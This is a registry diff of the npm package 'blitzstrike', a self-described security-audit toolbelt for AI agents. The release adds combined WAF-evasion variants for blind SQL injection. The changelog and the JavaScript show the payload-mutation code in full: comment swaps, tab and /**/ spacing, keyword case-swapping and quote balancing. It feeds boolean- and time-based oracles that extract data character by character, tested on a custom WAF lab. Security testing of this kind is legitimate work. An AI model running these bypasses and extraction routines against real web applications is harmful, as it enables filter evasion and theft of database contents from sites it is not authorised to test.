blitzstrike 2.4.164 → 2.4.165

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/CHANGELOG.md CHANGED
@@ -5,6 +5,24 @@ All notable changes to Blitz Strike are documented here.
5
5
  The format follows [Keep a Changelog](https://keepachangelog.com/en/1.0.0/),
6
6
  and this project adheres to [Semantic Versioning](https://semver.org/).
7
7
 
8
+ ## [2.4.165] — 2026-10-11
9
+
10
+ ### Added — combined WAF-bypass for stacked filters (blind SQLi)
11
+
12
+ - `blind_sqli_confirm` + `blind_sqli_extract` now generate COMBINED bypass variants
13
+ (space × comment × case), not single-technique ones: `/**/`+`#` (space-strip),
14
+ `/**/`+case+`#` (space+keyword strip), tab-as-space + case-swap, and quote-balance
15
+ (no trailing comment — the payload ends on an open string the query's quote closes)
16
+ for comment-strip WAFs that also break `-- `.
17
+ - Extract's context-discovery now tries the same bypass variants (a stacked WAF
18
+ blocks the default oracle, so the byte-count reference must come from the working
19
+ variant), and the extraction `render` applies the winning space style (tab/`/**/`)
20
+ to the query expression's internal spaces too — so `(SELECT secret FROM flag)`
21
+ survives a space-strip WAF.
22
+ - Verified end-to-end on a custom 5-level WAF lab (baseline → space → keyword →
23
+ space+keyword → space+keyword+comment): all 5 levels now confirm + extract, and
24
+ the level-5 flag extracts with exact case (`FLAG{B1nD_SQLi_M4st3r_ByP4ss_2026}`).
25
+
8
26
  ## [2.4.164] — 2026-10-11
9
27
 
10
28
  ### Fixed — binary-search case regression on case-insensitive DBMS
package/dist/index.js CHANGED
@@ -62469,26 +62469,55 @@ async function blindOracle(baseUrl, param, value, opts = {}) {
62469
62469
  }
62470
62470
  function oracleBypassVariants(base) {
62471
62471
  const body = base.replace(/^'/, "");
62472
- return [
62473
- base,
62474
- `"${body}`,
62475
- body,
62476
- `')${body}`,
62477
- `")${body}`,
62478
- base.replace("-- -", "#"),
62479
- base.replace(/ /g, "/**/"),
62480
- base.replace(/AND/g, "aNd")
62481
- ];
62472
+ const dash = body;
62473
+ const hash = body.replace(/-- -$/, "#").replace(/--$/, "#");
62474
+ const bal = body.replace(/(\d)=(\d)-- -/, "'$1'='$2");
62475
+ const cs = (s) => s.replace(/AND/g, "aNd").replace(/OR/g, "oR").replace(/IF/g, "iF").replace(/SLEEP/g, "sLeEp");
62476
+ const sp = (s, x) => x === " " ? s : s.replace(/ /g, x);
62477
+ const out = [];
62478
+ for (const cmt of [dash, hash, bal]) {
62479
+ for (const x of [" ", "/**/", "\t"]) {
62480
+ out.push(`'${sp(cmt, x)}`);
62481
+ out.push(`'${sp(cs(cmt), x)}`);
62482
+ }
62483
+ }
62484
+ out.push(`"${dash}`, dash, `')${dash}`, `")${dash}`, `"${hash}`, `')${hash}`, `")${hash}`);
62485
+ return out;
62482
62486
  }
62483
62487
  function extractBypassVariants(tpl) {
62484
62488
  const fn = tpl.includes("SUBSTRING") ? "SUBSTRING" : "SUBSTR";
62485
62489
  const fns = [fn, fn === "SUBSTRING" ? "sUbStRiNg" : "sUbStR", fn === "SUBSTRING" ? "SUBSTR" : "SUBSTRING", "MID"];
62486
62490
  const contexts = ["'", '"', "", "')", '")'];
62487
- const variants = [];
62488
- for (const c of contexts)
62489
- for (const f of fns)
62490
- variants.push(tpl.replace(/^'/, c).replace(fn, f));
62491
- return variants;
62491
+ const out = [];
62492
+ for (const c of contexts) {
62493
+ const base = tpl.replace(/^'/, c);
62494
+ const dash = base;
62495
+ const hash = base.replace(/-- -$/, "#").replace(/--$/, "#");
62496
+ const bal = base.replace(/'(-- -|--)$/, "");
62497
+ const combos = [
62498
+ [dash, " ", false],
62499
+ [hash, " ", false],
62500
+ [dash, "/**/", false],
62501
+ [dash, " ", true],
62502
+ [bal, " ", false],
62503
+ [hash, "/**/", false],
62504
+ [hash, "/**/", true],
62505
+ [hash, "\t", true],
62506
+ [bal, "\t", true],
62507
+ [bal, "/**/", true]
62508
+ ];
62509
+ for (const [cmt, s, swap] of combos) {
62510
+ let b = cmt;
62511
+ if (swap)
62512
+ b = b.replace(fn, fns[1]).replace(/AND/g, "aNd");
62513
+ if (s === "/**/")
62514
+ b = b.replace(/ /g, "/**/");
62515
+ else if (s === "\t")
62516
+ b = b.replace(/ /g, "\t");
62517
+ out.push(b);
62518
+ }
62519
+ }
62520
+ return out;
62492
62521
  }
62493
62522
  function makeFetcher(base, param, method, bodyTpl, cookieName) {
62494
62523
  const headers = { "User-Agent": "Mozilla/5.0 (blitzstrike)" };
@@ -62624,25 +62653,28 @@ async function blindSqliExtract(baseUrl, param, value, dbms, target, opts = {})
62624
62653
  let trueSize = -1, falseSize = -1;
62625
62654
  let ctxFound = false;
62626
62655
  if (channel === "boolean") {
62627
- for (const c of contexts) {
62628
- const tp = `${value}${p.oracle.boolean_true.replace(/^'/, c)}`;
62629
- const fp = `${value}${p.oracle.boolean_false.replace(/^'/, c)}`;
62656
+ const btv = oracleBypassVariants(p.oracle.boolean_true);
62657
+ const bfv = oracleBypassVariants(p.oracle.boolean_false);
62658
+ for (let i = 0;i < btv.length; i++) {
62659
+ const tp = `${value}${btv[i]}`, fp = `${value}${bfv[i]}`;
62660
+ let diff = false, tN = -1, fN = -1;
62630
62661
  if (marker) {
62631
- if ((await getBody(tp)).includes(marker) !== (await getBody(fp)).includes(marker)) {
62632
- ctx = c;
62633
- ctxFound = true;
62634
- break;
62635
- }
62662
+ const tb = await getBody(tp), fb = await getBody(fp);
62663
+ diff = tb.includes(marker) !== fb.includes(marker);
62664
+ tN = tb.length;
62665
+ fN = fb.length;
62636
62666
  } else {
62637
- const t = await getSize(tp);
62638
- const f = await getSize(fp);
62639
- if (t >= 0 && f >= 0 && t !== f) {
62640
- ctx = c;
62641
- trueSize = t;
62642
- falseSize = f;
62643
- ctxFound = true;
62644
- break;
62645
- }
62667
+ const t = await getSize(tp), f = await getSize(fp);
62668
+ diff = t >= 0 && f >= 0 && t !== f;
62669
+ tN = t;
62670
+ fN = f;
62671
+ }
62672
+ if (diff) {
62673
+ ctx = "'";
62674
+ trueSize = tN;
62675
+ falseSize = fN;
62676
+ ctxFound = true;
62677
+ break;
62646
62678
  }
62647
62679
  }
62648
62680
  if (!ctxFound)
@@ -62662,7 +62694,11 @@ async function blindSqliExtract(baseUrl, param, value, dbms, target, opts = {})
62662
62694
  const caseInsensitive = p.dbms === "mysql" || p.dbms === "mssql";
62663
62695
  const bsCharset = caseInsensitive ? "0123456789abcdefghijklmnopqrstuvwxyz" : "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
62664
62696
  const baseTpl = (channel === "time" ? p.extraction.time : p.extraction.boolean).replace(/^'/, ctx);
62665
- const render = (tpl, pos, ch) => `${value}${tpl.replace(/\{query\}/g, queryExpr).replace(/\{pos\}/g, String(pos)).replace(/\{char\}/g, ch).replace(/\{sec\}/g, "1")}`;
62697
+ const render = (tpl, pos, ch) => {
62698
+ const spaceStyle = tpl.includes("\t") ? "\t" : tpl.includes("/**/") ? "/**/" : " ";
62699
+ const q = spaceStyle === " " ? queryExpr : queryExpr.replace(/ /g, spaceStyle);
62700
+ return `${value}${tpl.replace(/\{query\}/g, q).replace(/\{pos\}/g, String(pos)).replace(/\{char\}/g, ch).replace(/\{sec\}/g, "1")}`;
62701
+ };
62666
62702
  const isTrue = async (tpl, pos, ch) => {
62667
62703
  if (channel === "time")
62668
62704
  return await getTime(render(tpl, pos, ch)) > 600;
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "blitzstrike",
3
- "version": "2.4.164",
3
+ "version": "2.4.165",
4
4
  "description": "Blitz Strike — a universal MCP security-audit toolbelt. BLITZ sweeps the attack surface, EAGLE-EYE traces source-to-sink, STRIKE verifies live. 57 attack chains, 130-tool catalog, intelligence data layer. One server, every agent.",
5
5
  "type": "module",
6
6
  "bin": {